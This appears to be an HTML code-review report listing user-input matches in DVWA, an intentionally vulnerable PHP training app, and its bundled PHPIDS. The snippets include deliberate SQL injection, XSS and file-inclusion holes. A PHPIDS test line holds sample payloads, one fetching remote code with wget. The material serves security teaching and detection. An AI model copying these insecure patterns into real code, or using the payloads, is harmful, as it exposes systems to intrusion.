4- 5- // Checks the http referer header 6- if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){ 7- 8- // Turn requests into variables 9: $pass_new = <span class='match_highlight'>$_GET</span>['password_new']; 10: $pass_conf = <span class='match_highlight'>$_GET</span>['password_conf']; 11- 12- if ($pass_new == $pass_conf){ 13- $pass_new = mysql_real_escape_string($pass_new);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/source/low.php</span>:<span class='line_number'>3</span> <span class='match_count'>(6/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3: $file = <span class='match_highlight'>$_GET</span>['page']; //The page we wish to display 4- 5-?></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/source/high.php</span>:<span class='line_number'>3</span> <span class='match_count'>(7/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3: $file = <span class='match_highlight'>$_GET</span>['page']; //The page we wish to display 4- 5- // Only allow include.php 6- if ( $file != "include.php" ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/source/medium.php</span>:<span class='line_number'>3</span> <span class='match_count'>(8/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3: $file = <span class='match_highlight'>$_GET</span>['page']; // The page we wish to display 4- 5- // Bad input validation 6- $file = str_replace("http://", "", $file);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/source/low.php</span>:<span class='line_number'>3</span> <span class='match_count'>(9/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if (isset(<span class='match_highlight'>$_GET</span>['Submit'])) { 4- 5- // Retrieve data 6- 7: $id = <span class='match_highlight'>$_GET</span>['id']; 8- 9- $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 10- $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/source/high.php</span>:<span class='line_number'>3</span> <span class='match_count'>(10/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if(isset(<span class='match_highlight'>$_GET</span>['Submit'])){ 4- 5- // Retrieve data 6- 7: $id = <span class='match_highlight'>$_GET</span>['id']; 8- $id = stripslashes($id); 9- $id = mysql_real_escape_string($id); 10-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/source/medium.php</span>:<span class='line_number'>3</span> <span class='match_count'>(11/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if (isset(<span class='match_highlight'>$_GET</span>['Submit'])) { 4- 5- // Retrieve data 6- 7: $id = <span class='match_highlight'>$_GET</span>['id']; 8- $id = mysql_real_escape_string($id); 9- 10- $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source.php</span>:<span class='line_number'>11</span> <span class='match_count'>(12/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>8-$page = dvwaPageNewGrab(); 9-$page[ 'title' ] .= $page[ 'title_separator' ].'Source'; 10- 11:$id = <span class='match_highlight'>$_GET</span>[ 'id' ]; 12:$security = <span class='match_highlight'>$_GET</span>[ 'security' ]; 13- 14- 15-if ($id == 'fi'){</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/low.php</span>:<span class='line_number'>3</span> <span class='match_count'>(13/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if( isset( <span class='match_highlight'>$_GET</span>['Login'] ) ) { 4- 5: $user = <span class='match_highlight'>$_GET</span>['username']; 6- 7: $pass = <span class='match_highlight'>$_GET</span>['password']; 8- $pass = md5($pass); 9- 10- $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/high.php</span>:<span class='line_number'>3</span> <span class='match_count'>(14/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if( isset( <span class='match_highlight'>$_GET</span>[ 'Login' ] ) ) { 4- 5- // Sanitise username input 6: $user = <span class='match_highlight'>$_GET</span>[ 'username' ]; 7- $user = stripslashes( $user ); 8- $user = mysql_real_escape_string( $user ); 9- 10- // Sanitise password input 11: $pass = <span class='match_highlight'>$_GET</span>[ 'password' ]; 12- $pass = stripslashes( $pass ); 13- $pass = mysql_real_escape_string( $pass ); 14- $pass = md5( $pass );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/medium.php</span>:<span class='line_number'>3</span> <span class='match_count'>(15/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if( isset( <span class='match_highlight'>$_GET</span>[ 'Login' ] ) ) { 4- 5- // Sanitise username input 6: $user = <span class='match_highlight'>$_GET</span>[ 'username' ]; 7- $user = mysql_real_escape_string( $user ); 8- 9- // Sanitise password input 10: $pass = <span class='match_highlight'>$_GET</span>[ 'password' ]; 11- $pass = mysql_real_escape_string( $pass ); 12- $pass = md5( $pass ); 13-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_help.php</span>:<span class='line_number'>11</span> <span class='match_count'>(16/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>8-$page = dvwaPageNewGrab(); 9-$page[ 'title' ] .= $page[ 'title_separator' ].'Help'; 10- 11:$id = <span class='match_highlight'>$_GET</span>[ 'id' ]; 12:$security = <span class='match_highlight'>$_GET</span>[ 'security' ]; 13- 14-$help = file_get_contents( DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/{$id}/help/help.php" ); 15-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/source/low.php</span>:<span class='line_number'>3</span> <span class='match_count'>(17/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if(isset(<span class='match_highlight'>$_GET</span>['Submit'])){ 4- 5- // Retrieve data 6- 7: $id = <span class='match_highlight'>$_GET</span>['id']; 8- 9- $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 10- $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/source/high.php</span>:<span class='line_number'>3</span> <span class='match_count'>(18/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if (isset(<span class='match_highlight'>$_GET</span>['Submit'])) { 4- 5- // Retrieve data 6- 7: $id = <span class='match_highlight'>$_GET</span>['id']; 8- $id = stripslashes($id); 9- $id = mysql_real_escape_string($id); 10-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/source/medium.php</span>:<span class='line_number'>3</span> <span class='match_count'>(19/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if (isset(<span class='match_highlight'>$_GET</span>['Submit'])) { 4- 5- // Retrieve data 6- 7: $id = <span class='match_highlight'>$_GET</span>['id']; 8- $id = mysql_real_escape_string($id); 9- 10- $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source_all.php</span>:<span class='line_number'>10</span> <span class='match_count'>(20/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7-$page = dvwaPageNewGrab(); 8-$page[ 'title' ] .= $page[ 'title_separator' ].'Source'; 9- 10:$id = <span class='match_highlight'>$_GET</span>[ 'id' ]; 11- 12-$lowsrc = @file_get_contents("./{$id}/source/low.php"); 13-$lowsrc = str_replace( array( '$html .=' ), array( 'echo' ), $lowsrc);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_r/source/low.php</span>:<span class='line_number'>3</span> <span class='match_count'>(21/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if(!array_key_exists ("name", <span class='match_highlight'>$_GET</span>) || <span class='match_highlight'>$_GET</span>['name'] == NULL || <span class='match_highlight'>$_GET</span>['name'] == ''){ 4- 5- $isempty = true; 6- 7-} else { 8- 9- $html .= '<pre>'; 10: $html .= 'Hello ' . <span class='match_highlight'>$_GET</span>['name']; 11- $html .= '</pre>'; 12- 13-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_r/source/high.php</span>:<span class='line_number'>3</span> <span class='match_count'>(22/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if(!array_key_exists ("name", <span class='match_highlight'>$_GET</span>) || <span class='match_highlight'>$_GET</span>['name'] == NULL || <span class='match_highlight'>$_GET</span>['name'] == ''){ 4- 5- $isempty = true; 6- 7-} else { 8- 9- $html .= '<pre>'; 10: $html .= 'Hello ' . htmlspecialchars(<span class='match_highlight'>$_GET</span>['name']); 11- $html .= '</pre>'; 12- 13-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_r/source/medium.php</span>:<span class='line_number'>3</span> <span class='match_count'>(23/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if(!array_key_exists ("name", <span class='match_highlight'>$_GET</span>) || <span class='match_highlight'>$_GET</span>['name'] == NULL || <span class='match_highlight'>$_GET</span>['name'] == ''){ 4- 5- $isempty = true; 6- 7-} else { 8- 9- $html .= '<pre>'; 10: $html .= 'Hello ' . str_replace('<script>', '', <span class='match_highlight'>$_GET</span>['name']); 11- $html .= '</pre>'; 12- 13-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>43</span> <span class='match_count'>(24/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>40- */ 41- $request = array( 42- 'REQUEST' => $_REQUEST, 43: 'GET' => <span class='match_highlight'>$_GET</span>, 44- 'POST' => $_POST, 45- 'COOKIE' => $_COOKIE 46- );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1056</span> <span class='match_count'>(25/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1053- $exploits[] = '";; // 1054- if (!($_b[] %1)) $_a[0] = system; 1055- $_a[0](!a. "ls"); //'; 1056: $exploits[] = '; e|$a=&<span class='match_highlight'>$_GET</span>; 0|$b=!a .$a[b];$a[a](`$b`);//'; 1057- $exploits[] = 'aaaa { $ {`wget hxxp://example.com/x.php`}}'; 1058- 1059- $this->_testForPlainEvent($exploits);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>406</span> <span class='match_count'>(26/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>403- } 404- 405- /** 406: * Loads configuration values from <span class='match_highlight'>$_GET</span>/$_POST that were posted 407- * via ConfigForm 408: * @param $array <span class='match_highlight'>$_GET</span> or $_POST array to import 409- * @param $index Index/name that the config variables are in 410- * @param $allowed List of allowed namespaces/directives 411- * @param $mq_fix Boolean whether or not to enable magic quotes fix</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>421</span> <span class='match_count'>(27/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>418- } 419- 420- /** 421: * Merges in configuration values from <span class='match_highlight'>$_GET</span>/$_POST to object. NOT STATIC. 422- * @note Same parameters as loadArrayFromForm 423- */ 424- public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>45</span> <span class='match_count'>(28/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>42- 43-// Clear PHPIDS log 44-function dvwaClearIdsLog() { 45: if (isset(<span class='match_highlight'>$_GET</span>['clear_log'])) { 46- $fp = fopen(DVWA_WEB_PAGE_TO_PHPIDS_LOG, w); 47- fclose($fp); 48- dvwaMessagePush( "PHPIDS log cleared" );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>58</span> <span class='match_count'>(29/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>55- try { 56- $request = array( 57- 'REQUEST' => $_REQUEST, 58: 'GET' => <span class='match_highlight'>$_GET</span>, 59- 'POST' => $_POST, 60- 'COOKIE' => $_COOKIE 61- );</code></pre> </div> </div> </div> </div> <div class='signature_af96ee114ac4e56b47dd4efd6694a827 signature_group_form_data signature_group'> <a name='s-af96ee114ac4e56b47dd4efd6694a827'></a> <h3> <code>$_POST</code> <span class='signature_count'>(16)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","af96ee114ac4e56b47dd4efd6694a827")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>11</span> <span class='match_count'>(1/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>9-dvwaDatabaseConnect(); 10- 11:if( isset( <span class='match_highlight'>$_POST</span>[ 'Login' ] ) ) { 12- 13- 14: $user = <span class='match_highlight'>$_POST</span>[ 'username' ]; 15- $user = stripslashes( $user ); 16- $user = mysql_real_escape_string( $user ); 17- 18: $pass = <span class='match_highlight'>$_POST</span>[ 'password' ]; 19- $pass = stripslashes( $pass ); 20- $pass = mysql_real_escape_string( $pass ); 21- $pass = md5( $pass );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./security.php</span>:<span class='line_number'>13</span> <span class='match_count'>(2/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10-$page[ 'page_id' ] = 'security'; 11- 12-$securityHtml = ''; 13:if( isset( <span class='match_highlight'>$_POST</span>['seclev_submit'] ) ) { 14- $securityLevel = 'high'; 15- 16: switch( <span class='match_highlight'>$_POST</span>[ 'security' ] ) { 17- case 'low': 18- $securityLevel = 'low'; 19- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/low.php</span>:<span class='line_number'>3</span> <span class='match_count'>(3/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if( isset( <span class='match_highlight'>$_POST</span>[ 'submit' ] ) ) { 4- 5- $target = $_REQUEST[ 'ip' ]; 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/high.php</span>:<span class='line_number'>3</span> <span class='match_count'>(4/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if( isset( <span class='match_highlight'>$_POST</span>[ 'submit' ] ) ) { 4- 5- $target = $_REQUEST["ip"]; 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/medium.php</span>:<span class='line_number'>3</span> <span class='match_count'>(5/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if( isset( <span class='match_highlight'>$_POST</span>[ 'submit'] ) ) { 4- 5- $target = $_REQUEST[ 'ip' ]; 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/source/low.php</span>:<span class='line_number'>2</span> <span class='match_count'>(6/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2: if (isset(<span class='match_highlight'>$_POST</span>['Upload'])) { 3- 4- $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; 5- $target_path = $target_path . basename( $_FILES['uploaded']['name']);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/source/high.php</span>:<span class='line_number'>2</span> <span class='match_count'>(7/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2:if (isset(<span class='match_highlight'>$_POST</span>['Upload'])) { 3- 4- $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; 5- $target_path = $target_path . basename($_FILES['uploaded']['name']);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/source/medium.php</span>:<span class='line_number'>2</span> <span class='match_count'>(8/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2: if (isset(<span class='match_highlight'>$_POST</span>['Upload'])) { 3- 4- $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; 5- $target_path = $target_path . basename($_FILES['uploaded']['name']);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/source/low.php</span>:<span class='line_number'>3</span> <span class='match_count'>(9/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if(isset(<span class='match_highlight'>$_POST</span>['btnSign'])) 4-{ 5- 6: $message = trim(<span class='match_highlight'>$_POST</span>['mtxMessage']); 7: $name = trim(<span class='match_highlight'>$_POST</span>['txtName']); 8- 9- // Sanitize message input 10- $message = stripslashes($message);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/source/high.php</span>:<span class='line_number'>3</span> <span class='match_count'>(10/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if(isset(<span class='match_highlight'>$_POST</span>['btnSign'])) 4-{ 5- 6: $message = trim(<span class='match_highlight'>$_POST</span>['mtxMessage']); 7: $name = trim(<span class='match_highlight'>$_POST</span>['txtName']); 8- 9- // Sanitize message input 10- $message = stripslashes($message);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/source/medium.php</span>:<span class='line_number'>3</span> <span class='match_count'>(11/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3:if(isset(<span class='match_highlight'>$_POST</span>['btnSign'])) 4-{ 5- 6: $message = trim(<span class='match_highlight'>$_POST</span>['mtxMessage']); 7: $name = trim(<span class='match_highlight'>$_POST</span>['txtName']); 8- 9- // Sanitize message input 10- $message = trim(strip_tags(addslashes($message)));</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>44</span> <span class='match_count'>(12/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>41- $request = array( 42- 'REQUEST' => $_REQUEST, 43- 'GET' => $_GET, 44: 'POST' => <span class='match_highlight'>$_POST</span>, 45- 'COOKIE' => $_COOKIE 46- ); 47-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>406</span> <span class='match_count'>(13/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>403- } 404- 405- /** 406: * Loads configuration values from $_GET/<span class='match_highlight'>$_POST</span> that were posted 407- * via ConfigForm 408: * @param $array $_GET or <span class='match_highlight'>$_POST</span> array to import 409- * @param $index Index/name that the config variables are in 410- * @param $allowed List of allowed namespaces/directives 411- * @param $mq_fix Boolean whether or not to enable magic quotes fix</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>421</span> <span class='match_count'>(14/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>418- } 419- 420- /** 421: * Merges in configuration values from $_GET/<span class='match_highlight'>$_POST</span> to object. NOT STATIC. 422- * @note Same parameters as loadArrayFromForm 423- */ 424- public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./setup.php</span>:<span class='line_number'>12</span> <span class='match_count'>(15/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>9-$page[ 'title' ] .= $page[ 'title_separator' ].'Setup'; 10-$page[ 'page_id' ] = 'setup'; 11- 12:if( isset( <span class='match_highlight'>$_POST</span>[ 'create_db' ] ) ) { 13- 14- if ($DBMS == 'MySQL') { 15- include_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/DBMS/MySQL.php';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>59</span> <span class='match_count'>(16/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>56- $request = array( 57- 'REQUEST' => $_REQUEST, 58- 'GET' => $_GET, 59: 'POST' => <span class='match_highlight'>$_POST</span>, 60- 'COOKIE' => $_COOKIE 61- ); 62-</code></pre> </div> </div> </div> </div> <div class='signature_77274c57134658673c3a59c7b2951842 signature_group_form_data signature_group'> <a name='s-77274c57134658673c3a59c7b2951842'></a> <h3> <code>$_REQUEST</code> <span class='signature_count'>(6)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","77274c57134658673c3a59c7b2951842")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/low.php</span>:<span class='line_number'>5</span> <span class='match_count'>(1/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-if( isset( $_POST[ 'submit' ] ) ) { 4- 5: $target = <span class='match_highlight'>$_REQUEST</span>[ 'ip' ]; 6- 7- // Determine OS and execute the ping command. 8- if (stristr(php_uname('s'), 'Windows NT')) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/high.php</span>:<span class='line_number'>5</span> <span class='match_count'>(2/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-if( isset( $_POST[ 'submit' ] ) ) { 4- 5: $target = <span class='match_highlight'>$_REQUEST</span>["ip"]; 6- 7- $target = stripslashes( $target ); 8-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/medium.php</span>:<span class='line_number'>5</span> <span class='match_count'>(3/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-if( isset( $_POST[ 'submit'] ) ) { 4- 5: $target = <span class='match_highlight'>$_REQUEST</span>[ 'ip' ]; 6- 7- // Remove any of the charactars in the array (blacklist). 8- $substitutions = array(</code></pre> </div> </div> <div class='point_of_interest'> <span 